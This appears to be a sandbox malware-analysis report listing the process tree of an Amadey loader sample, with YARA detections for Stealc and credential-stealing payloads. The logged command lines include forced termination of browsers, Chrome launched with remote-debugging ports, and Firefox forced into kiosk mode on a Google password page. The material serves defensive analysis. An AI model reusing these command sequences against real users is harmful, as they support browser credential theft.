2024-11-20 03:08:21 UTC	1374	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 61 6e 61 67 65 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 61 6e 61 67 65 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Manageability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenManageability" S="Medium" />

Target ID:	0
Start time:	22:07:01
Start date:	19/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x3f0000
File size:	1'950'208 bytes
MD5 hash:	AE02D850933FA9D3D3C279D35EF3999F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1727318068.00000000048A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1767876609.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:07:04
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x3f0000
File size:	1'950'208 bytes
MD5 hash:	AE02D850933FA9D3D3C279D35EF3999F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1804111441.00000000003F1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1763832451.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:07:05
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x3f0000
File size:	1'950'208 bytes
MD5 hash:	AE02D850933FA9D3D3C279D35EF3999F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1812404979.00000000003F1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1772097071.0000000004B90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:08:00
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x3f0000
File size:	1'950'208 bytes
MD5 hash:	AE02D850933FA9D3D3C279D35EF3999F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2315535039.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	22:08:12
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe"
Imagebase:	0xa60000
File size:	4'370'944 bytes
MD5 hash:	2CA191450D69DCBEE0485F1C14135040
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	22:08:17
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe"
Imagebase:	0xb0000
File size:	1'865'216 bytes
MD5 hash:	C6774985FC109440CE01C0BDF1978A96
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 38%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	22:08:23
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe"
Imagebase:	0x930000
File size:	1'801'728 bytes
MD5 hash:	AF00FAE5BF606001C0C6EF0B98FB54D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2537752002.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2926513601.0000000000931000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:08:28
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe"
Imagebase:	0x6d0000
File size:	922'112 bytes
MD5 hash:	5DDBDA8BAEF12CDD69941B253FEE8AEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000000B.00000003.2575809178.0000000001703000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 24%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:08:28
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x410000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	22:08:28
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:08:29
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe"
Imagebase:	0xb0000
File size:	1'865'216 bytes
MD5 hash:	C6774985FC109440CE01C0BDF1978A96
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2635825594.00000000012F8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2733630600.0000000001302000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2664289942.00000000012F8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2737884939.0000000001302000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2671611085.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2670909986.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2635973721.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2730040603.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2731692250.0000000001302000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2636125036.0000000001309000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2741369603.0000000001302000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2745089723.0000000001306000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2730714107.0000000001301000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2736342039.0000000001302000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2739746327.0000000001302000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2740498502.0000000001302000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2728512835.00000000012F8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2732924987.0000000001302000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2702561974.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2699868123.00000000012F8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	22:08:29
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:08:30
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2192,i,10143600070670810817,6561636466335868075,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:08:31
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x410000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	22:08:31
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	22:08:32
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x410000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	22:08:32
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	22:08:32
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x410000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:08:33
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	22:08:33
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x410000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	22:08:33
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	22:08:33
Start date:	19/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	22:08:33
Start date:	19/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	22:08:33
Start date:	19/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	22:08:34
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe"
Imagebase:	0xc90000
File size:	2'847'744 bytes
MD5 hash:	8016E5D93E55BB0356C789BB6BA0BDBE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 38%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	22:08:35
Start date:	19/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2320 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2228 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a22515df-c2f6-4def-b0a3-50c2d0523f06} 6804 "\\.\pipe\gecko-crash-server-pipe.6804" 17a4c66db10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	22:08:35
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	22:08:37
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe"
Imagebase:	0x930000
File size:	1'801'728 bytes
MD5 hash:	AF00FAE5BF606001C0C6EF0B98FB54D0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000003.2703472620.0000000005320000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	22:08:38
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3976 --field-trial-handle=3724,i,9325009956021330701,4654565816602240411,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	22:08:39
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7564 -s 1616
Imagebase:	0xe60000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	22:08:46
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe"
Imagebase:	0x6d0000
File size:	922'112 bytes
MD5 hash:	5DDBDA8BAEF12CDD69941B253FEE8AEC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	22:08:47
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x410000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	22:08:47
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	22:08:52
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2bfd73b1c9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	22:08:53
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2000,i,3630116307602199146,12526742274000861994,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	22:09:04
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe"
Imagebase:	0xb0000
File size:	1'865'216 bytes
MD5 hash:	C6774985FC109440CE01C0BDF1978A96
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	22:09:04
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x7ff71e800000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	22:09:05
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71e800000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	22:09:07
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x410000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	22:09:07
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	22:09:08
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x410000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	22:09:08
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	22:09:09
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x410000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	22:09:09
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	22:09:10
Start date:	19/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
